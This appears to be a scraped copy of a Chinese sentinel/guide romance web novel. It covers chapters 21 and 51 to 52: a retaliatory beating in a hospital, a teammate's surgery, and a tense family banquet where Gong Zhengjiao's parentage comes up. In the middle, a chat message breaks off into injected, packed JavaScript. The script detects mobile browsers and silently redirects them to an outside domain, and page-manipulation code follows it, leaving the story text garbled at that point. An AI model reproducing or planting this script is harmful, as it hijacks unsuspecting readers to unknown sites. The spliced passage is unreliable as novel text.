闻璱微微一笑,低声问他:“医院应该也有你家的背景,对吧?” 弓铮皎点了点头。 “那就靠你了。”闻璱冲他眨眨眼睛,“弓大少爷,在特种人的地盘,斗殴是可以的,对吧?” 21.第 21 章 豪华病房里,彭枭从被窝里爬出来,一蹦一跳进了洗手间。 他被弓铮皎踹过的那条腿骨头碎了,伤得不清,现在被固定在特殊支架上,既不能弯曲,也不能用力。 要不是哨兵体质好,大概几个月都下不来床。 紧急刷牙洗漱过后,彭枭纠结着,是给自己抹点发胶耍帅呢?还是画个憔悴病妆,走可怜路线呢? 闻璱会很心疼吧。 一想到闻璱,他就忍不住笑出了声——闻璱亲手制作的三明治,这要是放在以前,挂论坛上指不定能卖出海景房。 不过如今,在彭枭的极力败坏下,市场价有所下降。 对只打算自留的彭枭来说,利大于弊。 门被轻轻敲响了。 彭枭跳过去拉开门,映入眼帘的确实是闻璱,也确实是微笑着,对自己伸出了手。 他觉得闻璱似乎是想摸摸自己的脸,于是配合地抬起下巴——下一刻,就被那只手擒住脖子推进了病房。 彭枭一条腿用不上力,很难不失衡,就这样被一把撂倒在病床上。 他的视野里一直是闻璱,是漂亮的脸,白皙的肌肤,矜贵而高傲的下颌线条,还有似乎有些隐忍的表情。 以至于一时间,他竟然没回过神,沉浸在浆糊一样的幻想中:闻璱居然这么热情? 而动手的人只是优雅地解开自己的袖口,把衣袖挽到手肘上面,露出线条漂亮的手臂。 “关门。”闻璱没回头,淡淡地吩咐道。 弓铮皎立刻把门锁上了。 落锁的声音把彭枭从幻想拔出来,他才反应过来,似乎有哪里不对。 比如,进来的不只是闻璱,还有一个可恨而又可怖的家伙。 “你进来做什么!”彭枭刚爬起来,就被一记突如其来的上勾拳击在下颌,力道很大,直接把他打得飞了出去,砸在落地窗上。 医院的智能玻璃质量很好,这一下除了彭枭的惨叫声,什么破坏也没有造成。 弓铮皎惊讶地看着闻璱。 大概彭枭如果还能思考的话,也会作出类似的反应,因为那一拳出自闻璱。 早在闻璱握拳、绷紧手臂时,弓铮皎就敏锐地察觉到闻璱在酝酿着什么。 最终挥出的这一记上勾拳干净、漂亮,看得出闻璱在近身格斗上一定花了很多功夫。 但是,生理上的差异客观存在,就算闻璱的体能和格斗技术同样优秀,似乎仍然不足以对A级哨兵造成如此伤害。 所以彭枭痛得现在还在嚎,只可能是因为,这一拳同时夹杂了精神力攻击。 对于哨兵来说,这是最有效的“附魔”方法,能够打出最无视防御的真实伤害。 闻璱又开口了:“把窗户打开。” 于是,站在门口的弓铮皎操控面板,让窗户掀开了一个小小的缝。 为了防止病人跳楼自杀,住院部的窗户被设置成无法完全打开,而智能玻璃一旦碎裂会立刻报警,所以,如果闻璱想把彭枭成功扔下去的话……这件事应该交给自己来办。 弓铮皎心里默默盘算着速度和角度,却见闻璱在彭枭面前蹲下,温和地伸手按在彭枭额前。 ……为什么突然奖励彭枭? 下一刻,一声鸮鸣传来,一个影子鬼鬼祟祟地从窗户缝里钻了进来,是彭枭的精神体雕鸮。 奇怪的是,雕鸮似乎并不听彭枭的使唤,而且彭枭已经被刚刚那一记附魔上勾拳打得再起不能,大概率也无法指挥精神体做什么。 雕鸮似乎想扑过来亲昵地蹭一蹭闻璱,但一只手再一次掐出了它的翅根。 弓铮皎冷着脸说:“小心,它想攻击。” 虽然他从雕鸮的动作就能看出,根本没这回事。 闻璱也并没有勒令他松手,只是淡淡地吩咐:“弓铮皎,揍它。” 弓铮皎瞳孔地震:“啊?” 对精神体出手……?如果说在格斗里掺杂精神力攻击,是普通的“附魔”,那这种行为就无异于用生锈、长毛刺的刀给人做外科手术,还是不打麻药的那种。 这太残忍、暴力、限制级了,只是不见血而已。 但弓铮皎喜欢——这竟然意外地符合闻璱的风格。 他立刻用精神力拍了拍雕鸮的头,对小动物的力道看起来倒算不上狠毒。 雕鸮也确实没什么反应,精神体并没有痛觉和实质,认错了主人的雕鸮甚至仍然容光焕发,试图和闻璱亲近一番。 但一切精神痛都会反应在哨兵的脑袋里,彭枭抽搐着发出哀嚎。 闻璱眼疾手快地从床边抽出被角,塞进彭枭嘴里。 显得彭枭很惨,但闻璱仍然不满意,皱眉命令:“没吃饭吗?用点力。” 说完他才想起来,他们确实都没吃早饭。 弓铮皎道:“创伤太严重的话,精神体会自我保护,缩回精神图景的。” 那样就只能继续对彭枭进行物理意义上的拳打脚踢,不如真实伤害有效。 闻璱道:“不会。” 他轻笑了一声:“在他回过神来之前,他的精神体和精神图景暂时由我接管了,现在抓紧时间,给我揍晕他。” 对闻璱来说,这其实和他安抚哨兵的手法类似,只不过,他一向不认为自己需要如此对待一个哨兵。 唯独彭枭有幸获此殊荣。 于是,在此起彼伏的惨叫声中,雕鸮惨遭捏扁搓圆。 雕鸮活泼地扑腾着想要靠近闻璱,只可惜,它无法逃脱弓铮皎的魔爪桎梏。 一场单方面的“蹂躏”过后,雕鸮看起来还是乖巧又萌萌,彭枭已经昏厥了。 意识涣散后,精神也会暂时封闭,这也是一种自我保护和修复的手段,再折腾,恐怕彭枭一个不小心真的会神游。 闻璱还不至于要做到这个地步。 “好了。” 令行禁止,弓铮皎立刻停止用精神力欺负雕鸮,只是手还捏着雕鸮,防止它真的扑到闻璱怀里。 他竟然觉得,不管是什么东西,就算是彭枭这个见人的精神体,被闻璱接管之后,都会显出几分可爱娇憨来,完全没有之前那么惹人厌烦。 闻璱在雕鸮耳边打了个清脆的响指,让雕鸮昏睡过去,身形也逐渐消失在空气中。 趁着没人发现病房里的惨状,他们关上窗户、把彭枭放回病床,悄无声息地原路返回。 离开之前,护士叫两人过来登记。 闻璱在护士工作台光明正大地签下访客名字:弓铮皎。 护士提醒:“等等,你们有两个人,需要分别签字……” 护士长微笑着打断他的话,对闻璱身后的弓铮皎轻轻点头,然后恭敬地对闻璱道:“弓先生,慢走。” 仿佛一切都无事发生。 好巧不巧,刚回到逄靥星的手术室不久,手术灯就灭了。 门一打开,闻璱和冬歆亭连忙迎上去:“医生,他怎么样?” “手术很顺利,病人目前生命体征稳定,但情况特殊,我们已经联络了疗愈中心,等一下应该要……” 话音未落,就听病床上传来一声闷闷的哼唧声。 顿时,所有的目光都低了下去。 逄靥星还插着管呢,冲面前的几张脸眨了眨眼,仿佛在说:我没事。 医生也迟疑了:“这是什么情况?刚才仪器显示他都近神游了……” 近神游状态下,哨兵的情况很难监测,通常需要外力辅助。 否则,按照哨兵的身体素质,通常会精神力仪器来引导自体进行修复,而不是采用普通人的医疗手段。 闻璱喃喃道:“近神游?”他回过神来,点了点头,“没事的,我大概了解他的情况了。” 他突然想起,曾经有一次任务中,逄靥星也出现过类似情况,只不过没有这次严重。 那次严重的反而是闻璱——之后不久,闻璱就确诊了拟态孤独症。 “既然他醒过来了,就算要转移到疗愈中心那边,也可以拔管了吧?”闻璱问。 逄靥星立即配合地眨眨眼睛,目露恳求。 冬歆亭欲言又止片刻,也道:“是啊,先拔管好了。”。 普通病人的话,当然不可以这么草率;但逄靥星是S级哨兵,且病人本人和法定亲属都强烈要求,医生检查过指征,勉强同意了申请。 逄靥星就这样又被推回去拔管、检查。 没过多久,逄靥星状态良好地被转入住院部病房。 他还不能说话,路上只能一直疯狂眨动自己那双宝蓝色的眼睛,生怕谁注意不到他一样。 小月被他逗得忍不住破涕为笑。 冬歆亭问:“疼吗?但我已经调整你的痛觉了。” 逄靥星立刻左看右看,似乎在表示摇头。 “眼皮痒痒吧。”闻璱凉凉地说。 逄靥星无语地翻了个白眼。 一直跟在最后的弓铮皎突然说:“可能是因为我在。” 他一直安安静静、不远不近地跟着闻璱,而这种情况以前在圣所实在太常见,以至于冬歆亭险些忘了这个人的存在。 而弓铮皎话音才落,逄靥星立刻狠狠地眨眼表肯定。 冬歆亭才想起来问:“这位是?” 闻璱微微一笑:“一个朋友,你应该听说过他的名字。” 他看向弓铮皎,介绍道:“忘了跟你介绍,这位是冬歆亭,S级向导,我的队员。” 弓铮皎就简短地说:“你好。我是弓铮皎。” “哦哦,你好,弓先生……”冬歆亭也向他回以礼貌的点头。 他推着病床又走了两步,终于在逄靥星目眦欲裂的眼色中想起什么,猛然回头:“等等,你是弓铮皎?” “小胖之前的上一任首席哨兵?” 弓铮皎颔首。 “蒸饺omo?” 弓铮皎动作一僵。 闻璱不禁轻笑一声,替弓铮皎回答道:“是他。” “那你们为什么……”冬歆亭不大理解地反复扫视两人,声音渐渐低了。 他的手揣进口袋里,不出几秒,闻璱的终端就震动起来。 螺钿艺术家歆亭:【闻队,他该不会是来约战的吧?小胖现在可支棱不起来。】 闻璱抬眼,奇怪地瞟他一眼,不明白冬歆亭怎么能跟逄靥星说出如此相似的话来。 还没来得及回复,螺钿艺术家歆亭又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432630|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹来一个链接。 点开一看,是一个既“NEW”且“HOT”的帖子:【前后两任首席哨兵的对决,你们押谁赢?买定离手!】 闻璱:? 正巧病房到了,把活泼但无声的逄靥星安顿好之后,闻璱走出病房,怀着“???”的心情点进帖子。 发现果然有网友发出跟他一样的疑问:【为什么开这种盘?】 下面有人回复了图片,是热心林友老网和朋友的聊天记录截图。 热心林友老网说,在某吃瓜帖发布评论后,弓铮皎私信问他污染区发生了什么事,临走前还专门欲盖弥彰地留下一句:他和彭枭不熟。 ——这不是要替彭枭伸张正义,又是什么? 看来弓铮皎要代替彭枭,和w什么s那个传说中的情人逄靥星,展开一场争夺哨兵尊严的决战了! 闻璱:…… 哨兵尊严决战的两方,现在一个插着管躺在病房里,叫都叫不出声。 另一个这会就蹲在他脚边,低着头刷终端。 闻璱无意窥探弓铮皎的隐私,只是高度差使然,一不小心就看见,弓铮皎的屏幕上,赫然也是论坛的界面。 他心想,弓铮皎在工作室当摆设时,整天终端不离手,是不是就每天沉浸在这些乱七八糟的帖子里? ……所以才总是胡思乱想一些有的没的。 弓铮皎注意到他的目光,立刻熄了屏幕,抬头问:“怎么了?我就随便刷刷论坛。” 他正要站起身,被闻璱按着肩膀又蹲了回去。 紧接着,闻璱也在他身侧蹲下,头微微靠近了些,低声问:“让我也看看?” 咫尺之间,弓铮皎几乎能看清,睫毛掩映下粉色虹膜上的花纹。 更不用说萦绕在鼻间隐隐约约的香气,清新、微甜,带着一丝若有若无的冷意和水生调的潮湿。 向导素混合着若有若无的香氛,还兼顾一定的镇痛、安眠作用,对弓铮皎来说,仿佛某种致幻作用的药剂,令他享受,却也慌张,沉迷而又惶恐。 就连成瘾性,似乎也如出一辙。 有那么一瞬间,弓铮皎逃避地移开视线,又很快凌乱地转了回来,似乎不知道自己该往哪看。 闻璱没有错过,于是,他又靠近了半分,发丝有些松散地落在弓铮皎肩头。 “合同的事,我们还没聊完,对吧?” 在充斥着消毒水味道的医院走廊里,在如此暧昧涌动的氛围下,这句话像冰水一样,把弓铮皎从桃色幻想里泼回现实。 弓铮皎低低地“嗯”了一声,问:“你想怎么样?” “这话应该轮到我问你吧?”闻璱笑了,“现在,你有我的把柄了,是你想怎么样才对。” 他是说刚刚去暴揍彭枭的事。 这件事以闻璱的力量,是无论如何也过不去的;对弓铮皎这个超级特权阶级来说,却轻而易举。 这个把柄在弓铮皎的手里,弓铮皎其实可以用来威胁闻璱,做些什么。 只不过,这样一说难免显得功利,而弓铮皎的策略,在闻璱看来,就是没有策略。 于是,仿佛是悄悄话,闻璱又用很轻很轻的气音说:“你刚才帮我打人的样子真帅。” 弓铮皎并不想拿捏闻璱。 可是,如果这是让闻璱答应他的唯一方法的话,他很难不纠结。 而这一句“真帅”立刻把他锤进了无法拒绝的坑底。 他脸颊飞上一丝若有若无的薄红,又欲盖弥彰地轻抿薄唇,只犹豫了几秒钟,他就果断道:“那简单,你收工,每天在家里陪我就行。你不需要做任何事,也可以折腾任何你想要做的爱好、兼职,但不能把哨兵带回家里来。” “我也可以跟你签一份合同,你从离婚能分得的那一半遗产,可以立刻转到你名下。我死之后,会立一份遗嘱,无论如何,不用你操心,你会是剩下遗产的唯一继承人。” 闻璱完全理解了这段话的中心大意:亏不到自己。 一个命不久矣,对自己有企图,但又不那么有的哨兵,希望自己提供一份最多长达半年的“临终关怀”,为此愿意付出巨额遗产。 如果第一次打照面时,弓铮皎就这样说,闻璱说不好真的会答应。 几乎什么也不用做就能拿钱的活,谁不想干。 但现在,闻璱不那么想了。 闻璱思索片刻,道:“合同不合同的,以后再说,先给我转两百万看看实力。” 弓铮皎二话不说,立刻转账,并体贴地备注上“自愿赠与”。 他看着闻璱拿出终端收下,结果闻璱仍是不置可否:“就只有这些?” 弓铮皎有些费解:“你还想要什么?这些钱和不动产够你挥霍到一百岁了。叔叔的公司我插不了手,你也是特种人,就算你答应张律师,也不可能得到公司的什么好处……” 话语戛然而止。 因为闻璱凑近了他的耳畔。 气息拂得弓铮皎半边身子都麻了,他需要花极大努力来抑制住拟态融合的冲动。 即便如此,那只耳朵还是又红又烫,险些没成了烙铁。 他听到闻璱说:“想追我,这点诚意可不够。” 50-60 第51章 现在轮到闻璱像渣男了。 闻璱刻意稍微含胸,作势靠在弓铮皎肩头。 他和弓铮皎本就身形相仿,现在,弓铮皎为装而装把腰板挺得笔直,闻璱再收着些,倒真有那么几分小鸟依人的假象。 之所以是假象,是因为拉住弓铮皎的瞬间,那只胳膊还剧烈弹了一下,好悬没把闻璱甩出去。 闻璱一边用自己挡住刘叔的视线,一边狠狠掐了一把弓铮皎手臂,低声道:“矜持点!” “你干嘛那么说!”趁刘叔看不见,弓铮皎面红耳赤,“刘叔会误会的。” “误会又怎样?我都没说什么。”闻璱甚至很轻松地指点他,“你可以揽住我肩膀,我会配合你。” “啊?我可以做到这个地步吗?”弓铮皎震惊,“这不好吧……我是说对你。” 闻璱翻旧账:“别管那些,你以前不是还说什么‘想做你的向导?不可能’的话吗?拿出你那时冷傲退向导的态度来。” 弓铮皎已经彻底烧开了:“我、你、不、总之……” 虽然脑子成了一滩浆糊,但是他的手还是下意识地服从闻璱的命令,又或许他原本就对此蓄谋已久——他搭上闻璱的肩头,很轻的揉捏了两下。 从刘叔半遮半掩的视角看来,似乎还真挺暧昧。 在震惊中,刘叔没说什么,不远不近地跟在两人身后。 这件事显然在刘叔的意料之外,也绝不在宫董的计画内,他连忙低头给宫董发去消息,更新最新的爆炸性新闻。 可惜,没等到回覆,他们就路过了会场。 冷餐会被安排在酒庄背后的草地上,风格很简约,看起来倒是和闻璱曾经水过的学术会议相似,只不过排场豪华了百八十倍不止。 闻璱没想到,自己表现得还算自如,倒是弓铮皎跟没见过世面一样。 刚才来的路上,弓铮皎紧张得都同手同脚了,幸好他的一只手被闻璱捏着,另一只手也插在兜里,手臂摆幅不大,不然还不知道看起来得有多滑稽。 他掩唇凑近弓铮皎耳边,低声提醒:“这是你叔叔的酒庄,你是主人,我才是客人,别表现得这么局促,好吗?” 弓铮皎说:“我没有。” 类似的宴会他见过太多次,但闻璱的肩膀他可是第一次捏,以至于现在贴着闻璱的那半边身体都不自在。 更何况,还是以“情人”的身份。 他一想到这两个字就又羞耻又票飘逸,恨不得当场融合,然后把闻璱整个人含在嘴里绕着酒庄跑几圈。 得益于弓铮皎的穿搭实在靓丽乍眼,他只需要站在那里和闻璱咬耳朵,就有数不清的目光望过来。 弓铮皎对注视和议论一向敏锐,行事方式也比他的穿搭更张扬。 能够参加宴会的人大多是宫家亲朋好友,他只不过一一回望过去,就再也没有人敢光明正大地看了。 透过窗户,他也准确查找到了宫董的身影。 弓铮皎指着不远处湖边的一幢雅致小楼,偏头问闻璱:“我叔叔应该在那边楼上,你介意见他吗?” 如果闻璱不愿意的话,他当然也会把闻璱安置好,再单独去见宫董。 但闻璱也想见见这位宫董,因为他扫视一圈,院子里并不见张律师和柳部长,想来这两人也有很大概率在宫董身边。 于是,闻璱点点头:“当然要见。” 他终于准许弓铮皎把手从自己肩头放下,却没想到,那只手在他背后一路滑下来,然后握住了自己的手。 闻璱没有挣脱,就见弓铮皎微微躬身,执起他的手,放在唇边。 一个吻不那么正规的吻手礼——因为那个吻着实落在了闻璱指背。 轻如羽毛,气息热如火炙。 弓铮皎垂眸不敢看他,却仍扣着他的手不放开,快速说:“我还是比较喜欢这样。” 闻璱眨了眨眼,一时间竟然也有点不知该如何措辞。 他其实觉得这有点浮夸了,但是,毕竟是弓铮皎,这种老派中带着一丝幼稚,夸张里含着几分纯情的作风……也算意料之外,情理之中。 他选择默许。 弓铮皎便这样牵着他穿过人群,走过湖边,走进小楼,爬上旋转的楼梯。 他的耳边只有风声。 但在阶梯上,弓铮皎突然停下了脚步。 他鼻尖轻动,有些迟疑道:“有股味道。” 有闻璱在身边,他过于敏锐的感官一直处于被调理的状态,不至于像过去那样离不开口罩,但仍然比常人敏锐。 他捏了捏闻璱的手,试图描述鼻尖若有若无的那种气味:“草本气息,微凉,微苦……又有一丝辛辣,烟熏火燎的感觉,和大蒜味。” 闻璱开口之前,楼顶传来另一道声音:“是熏艾的味道吧?呵呵,我最近身体不太好,董事长介绍了中医给我,弓先生的嗅觉真是敏锐。” 两人一并抬头望,只见张律师在楼顶,一只手拎着个礼盒,向下招了招手,又额外对闻璱稍微点头示意。 只可惜这个距离不算近,小楼里的光线又不算明亮,以闻璱的视力,根本看不清他的暗号。 倒是弓铮皎把他的小动作瞧得一清二楚。 他讨厌挑衅,更憎恶有人惦记闻璱的感觉,以前尚且能装模做样地无视一下,省得惹闻璱心烦,现在却越来越无法忍受。 刚要张嘴,闻璱眼疾手快拉了一把他:“别乱来。” “我不是乱来。”弓铮皎咽下喉咙里酝酿的虎哮,“他每次都当着我的面这样,明明就是故意的。” 闻璱点了点头:“我知道,所以才要委屈你忍一忍。” 弓铮皎说的不无道理,闻璱也很奇怪,为什么张律师明明那么惧怕弓铮皎,尤其害怕弓铮皎展露出的哨兵特质,上回在列车上已经被吓得落荒而逃,这次一打照面又这样。 张律师在试探什么吗?还是说,他希望弓铮皎发怒? 但是,为什么? 闻璱不明白,但谨慎点总没错,他只能先稳住弓铮皎。 三步做两步上了楼,张律师对闻璱点了点头,礼貌道:“闻先生,好久不见。” “也不算很久。”闻璱微笑。 他和张律师没什么可寒暄的,张律师也知道弓铮皎为什么出现在这里,转身将两人带进房间。 窗边的沙发上,一边坐着柳部长,他罕见地脱下了那身黑色的工作服,暖色调的衣服配上午后的阳光,照在他眉毛舒展的脸上,倒显得柳部长全不似以往那般刻薄。 另一边则是一个衣着考究的中年人,胸口佩着一朵紫色矢车菊,只需要看一眼那眉眼,身份就不言而喻。 见弓铮皎牵着闻璱进来,柳部长的眉毛又皱起来,眼里是直勾勾的质疑:你来这里干什么? 宫董则被弓铮皎的隆重穿搭惊到了,他眉头一沉,紧接着态度十分尊重地起身,等待闻璱和弓铮皎近前。 “叔叔。”弓铮皎很平淡地唤了一声,“祝你六十岁生日快乐。” 他居然也真的就如电话中那般,只是重复了这句话,完全没有添几句吉祥祝福的意思。 “嗯。”宫董和蔼地点了点头,目光移向闻璱。 弓铮皎便介绍道:“这是闻璱,公会的在册向导,我正在追求他。” 他果然并没有采用“情人”的说法,但宫董已经看到了刘叔发去的短信,一挑眉道:“我听说你已经有好消息了。” 当然只有追到了,才能称为情人。 弓铮皎面无表情:“年轻人的事你少打听。” 但 他似乎又怕这话显得自己不把闻璱当回事,会影响闻璱的“身价”,补充道:“他把我当情人,但我希望成为他的配偶。” 宫董:“……?” 闻璱:“……” 很好,现在轮到闻璱像渣男了。 宫董的眼神有一瞬间飞快地瞟向张律师。 闻璱大概能猜到他的心理话——他想质问张律师怎么找的人,居然连装模做样骗弓铮皎过家家都做不到。 或许是不好暴露,又或许是弓铮皎这副明知故犯的沉沦态度也达成了他的目的,宫董只有那么一瞬的淩乱,就很快挂回了天衣无缝的微笑。 他对闻璱点了点头,似乎只是一个开明而又包容的长辈:“你好,小闻,我是弓铮皎的叔叔,我们全家人都希望你和铮皎相处愉快。” 闻璱也礼貌地向他微笑:“谢谢您。” 弓铮皎却道:“叔叔,他将来可能会成为我的配偶,你的反应只是‘你好’?” 这话说得闻璱也不经想要缓缓扣出一个问号。 不然难道要宫董现场跪下磕一个吗? 宫董只得好声好气地问:“那你想怎么样呢?” “见面礼,难道你没有准备吗?”弓铮皎理直气壮又善解人意,“不然签张支票也行,方便兑。” 闻璱:“……” “等……”他伸手拉了一下弓铮皎的外套,想要悬崖勒马,但没能来得及。 宫董从善如流,助理立刻奉上支票本,多数信息早就被按照标准填好,宫董只需亲手填上日期。 几秒钟,一张一百万的现金支票就递到了闻璱面前,只待闻璱签上自己的名字。 何其进退两难的境地,进则有损弓铮皎形象,退则……损失一百万巨款。 幸好闻璱也没有思考斡旋的机会。 弓铮皎一抬手,就把支票扬了出去。 一张轻飘飘的纸落在地上,没有人敢去捡。 宫董还是微笑着,眉心微微蹙起,似乎只是一个为不肖子孙叛逆行为而操心的长辈。 他轻叹了一声,把钢笔递还给助理,有些无奈地道:“铮皎,你又有什么不满意了?” 弓铮皎背在身后的手悄悄捏了捏闻璱的指尖,似乎是一种暗示:看我表演。 而他眉眼间还是那副有些冷峻的神情,直直望着宫董:“一百万,你在打发叫花子吗?” 宫董心平气和:“你们还没有正式确认关系,这只是一点给小闻的零花钱,不算正式的礼物。等以后有好消息,叔叔再请你们来,好吗?铮皎,今天毕竟是叔叔的生日。” 张律师也上来打圆场,他手里那个礼盒似乎就是预料到了眼前的场面,笑着上前:“宫董,弓铮皎先生不是那个意思,您侄子嘴笨,您也不是第一天知道了。您看,这不是他专门给您准备的生日礼物吗?” 礼盒被拆开,里面盛放着两枚精美的水晶酒杯,角落里一张卡片上印刷着金漆字:弓铮皎敬赠,祝父亲、叔叔福如东海,寿比南山。 闻璱不用瞧都知道,那不可能是弓铮皎准备的。 张律师不愧是宫董的左膀右臂,至少在会做人这一点上,名副其实。 ——但他原本也可以不用费这份心,如果不是他对闻璱百般暗示,弓铮皎今天根本不会出席。 而在宫董眼中,张律师主动把台阶递上来,他顿了顿,示意助理接过礼盒。 目光再次扫过二人时,似乎觉得相比起来闻璱更好说话些,转眼看向闻璱:“小闻,你还没见过铮皎的亲生父亲吧?他在地窖挑酒,你们也该去和他打个招呼。” 委婉的送客之意,不会有人听不明白。 张律师立刻道:“我带你们去地窖。” 弓铮皎站在原地不动。 他看着宫董和张律师,冷冷道:“装模作样。” “那你到底想怎样?”宫董反问。 弓铮皎只是沉默地凝视着宫董。 气氛微妙,宫董当然对此有所察觉。 他是久经商场的商人,不惧怕任何与人的交锋,却仍然保有着人类最基础的,对于野兽的恐惧。 而现在在他面前的弓铮皎便是如此——那双眼睛又变成了兽瞳,在不算亮堂的房间里,幽亮如灯,平白让宫董后心发冷。 以至于宫董先选择退让。 他低头以捏眉心的动作逃避了和弓铮皎对视的视线压力,口中低声道:“铮皎,叔叔很高兴你和小闻今天能来。” “这样吧,宫烁不是早就到了吗,你去找他。”宫董挥了挥手示意助理,“麓河区那边的那个康复中心,跟他说一声,项目他继续做,账就上到铮皎这边来。” 宫烁是宫董的小儿子,宫董动动嘴,就让宫烁从给自己打工,变成了给弓铮皎打工。 康复中心一年的利润不低,但弓铮皎想要的不是这个。 他知道,闻璱说过想要什么了,可那个项目事关特种人,对于希冕创辉来说,一定是个被极力遮掩的秘密,不是张口问就能获得回答的。 弓铮皎回头看了一眼张律师,又看过一旁窗边的柳部长,最后则是一直低着头装空气的助理。 张律师有些慌张地逃避与弓铮皎对视,柳部长则一直装作看风景,以免卷入这场尴尬的家务事。 只有在感觉到弓铮皎目光的一刻,柳部长回望过来,但视线更多地落在弓铮皎身旁的闻璱身上。 他似乎很隐晦地摇了摇头,像是无奈,也像是某种暗示。 不知为何,闻璱蓦地猜到了弓铮皎想说什么。 原来那不是闻璱一个人的猜测,至少这间房间里,没有一个人不知情,包括弓铮皎自己——他甚至做好准备专门把这件事在此刻拿出来,用来“表演”。 闻璱觉得被捏过的指尖似乎在发烫,一撮火一溜烟地沿着脉搏烧进心房,叫人喘不过气。 “一百万,加上一个康复中心,就想卖掉你儿子的——” “弓铮皎,闭嘴。”闻璱打断了他的话。 在事态发展得更糟糕之前,闻璱弯下腰去,从地上捡起了那张支票。 他轻轻吹去并不存在的灰尘,对宫董微微一笑:“谢谢叔叔。” 他珍而重之地将支票放进自己的口袋里,又在弓铮皎震惊的目光中,对张律师道:“那就麻烦张律师带路了。” 第52章 “爱一个人不是这样。” 弓铮皎最终还是跟在闻璱身后离开那幢小楼。 闻璱对张律师道:“张律师,抱歉,我想我们得先失陪一下。半小时后,在酒庄门口见,再去跟宫博士打招呼,好吗?” 张律师若有所思地打量他片刻,很好说话地点了点头。 闻璱则拉着一脸不情不愿,幸好身体不跟人较真的弓铮皎走了。 绕过酒庄和会场,他们在暂时无人问津的喷泉边停下脚步。 喷泉水看起来还算干净,闻璱瞧了两眼,把支票缓缓漂了进去。 “你……?”弓铮皎有些不明白。 “一百万不少,不过没你的分红多。”闻璱没什么表情,“你叔叔以为你活不过一年,所以大方地送你一年利润,以此来堵住你的嘴。既然如此,程序上他一定不会费心思给死人挖坑,分红一定会入账。为了利益最大化,你也该多活几年,这怎么也得有几十上百个一百万,不是吗?” “我知道。”弓铮皎道,“我答应过你,就会努力活下去。我只是不明白你为什么……” 为什么在他撩开那张支票,拂了宫董的面子之后,又主动放低姿态,拾起这张被弃之如敝履的“脸皮”。 他不是为了伤闻璱的脸才那样做的,恰恰相反,他正是想要以此为闻璱博取更多谈判的资本。 闻璱忽地摸了一下他的脸。 他很轻地呢喃:“你知道了。”过了好一会儿,才接着问,“什么时候知道的?” 这话没头没尾,但在两人的心理,实在算不上什么哑谜。 弓铮皎说:“忘了。但是很小的时候。” 顿了顿,他有些自嘲地补充了一句:“又不是什么很难猜到的事。” 是啊,闻璱心想。 是啊。 他怎么可能不知道呢。 连闻璱这个跟宫家接触很少的外人,在只是听到阿斯伯格综合征几个字时,联想到他的情况,都会立刻产生怀疑。 数十年的生活中一定还有更多闻璱不知道的点滴细节,弓铮皎又怎么可能不怀疑。 他只是有些缺乏社会化,又不是有真的智力障碍。 弓铮皎原本打算说——一百万,加上一个康复中心,就足够买你儿子一条命命了吗?叔叔。 说要宫烁替弓铮皎打工,实际上,这两人分明就是同父的兄弟关系。 只是这已经没有什么深究的意义。 为了让代表着希冕创辉形象的宫董避嫌,对外,弓铮皎连姓都不同;对内,也被挂在宫博士名下。 即便弓铮皎得到一个准话,又能怎样? “叔叔以为我从来不知道。”弓铮皎说,“如果我突然搬出这件事,以他对我的认识,他一定会认为我才知道,怕我当场发狂,不论什么都一定会答应——” “你要在所有人面前这样吗?”闻璱又一次打断了他,“柳部长、张律师,还有你叔叔的助理,他们都在。哦,对,楼梯上还有保镖,你不在乎大家都听到?” 虽然这几乎已经是个大家心照不宣的秘密。 “那怎么了,丢人又不是独我一份。”弓铮皎不以为然。 “所以你就要和他爆了?”闻璱气不打一出来。 “我会见好就收,至少让他回答你的问题。” “你这一点都不算见好就收。”闻璱评价,“而且,只是一个还说不准的传言,谁知道张律师是不是信口胡诌,用得着你充当自爆卡车吗?” “不是你说效率第一的吗?”弓铮皎有些迷茫地反问,“你坦诚地告诉我要做什么,这是第一次,我只是想让你满意,我希望这次能让你得到你想要的,而不是我想给的。” “我……”闻璱有种对牛弹琴的无力感。 他心想,弓铮皎反思很快,学习能力也强,但悟性的波动实在太大。 上一次他说弓铮皎只是在感动自己,这一次,弓铮皎就恨不得自爆也誓要满足他的需求。 哪怕他只是随口一提,哪怕弓铮皎要付出的或许完全不对等。 闻璱在喷泉边上坐下,一时不知该如何措辞。 午后的阳光还有些刺眼,弓铮皎挪了一小步,用自己的影子把闻璱笼罩在阴凉里。 “这是两码事。” “一把刀捅进去,伤口只在你的身上,即便我有再想要得到的东西,也不需要你把自己的伤口扒开叫人去看。”闻璱无奈道,“你又怎么能这样对自己。” 弓铮皎半晌没应声,定定地看着他,渐渐红了脸:“你心疼我。” 闻璱:“……” 感觉道理又讲给狗听了。 弓铮皎道:“你不用感到难过,我知道如果我告诉你我要这样做,你一定会说没必要——正因为我知道你会这样说,我才愿意为了你这样做。” “因为你不是那种人,而且……”他忍不住笑了一下,“而且,我喜欢你。” “以前我以为,我喜欢一个人只会把他拖到泥潭里,但你不一样,就算面对你不喜欢的人深陷泥潭,你也总是会伸出手,想要拉他上来。” “所以,我愿意为了达成你的目标做任何事,只要你肯让我知道,你想要做什么。”弓铮皎还在说,“你不忍心利用我,所以,我才愿意被你利用。” “我在向你学习,”弓铮皎眼神明亮而专注,“但我只想这样爱你一个人。” 这番告白太过于突如其来,但只要想想做这件事的人是弓铮皎,竟然有种意外的合理感。 闻璱也认真地看着他,最终说:“那不是爱。” “爱一个人不是这样。” 不是这样利用、伤害……至少闻璱不是。 还没等弓铮皎有机会深思这句话的逻辑,闻璱冷了脸:“你是不是忘了,我说过,我的队伍需要的是服从指令,而不是自作主张,哪怕你认为那对我好,也可能打乱我的计画。” 弓铮皎垂头丧气,蔫蔫地应了一声:“明白。” 但过了一会儿,弓铮皎贼心不死,又重复了一遍:“你心疼我。” 彷佛身世的事他都可以不深究,但这个问题他一定要强求一个回答。 闻璱无语,破罐子破摔道:“再问就不心疼了。” 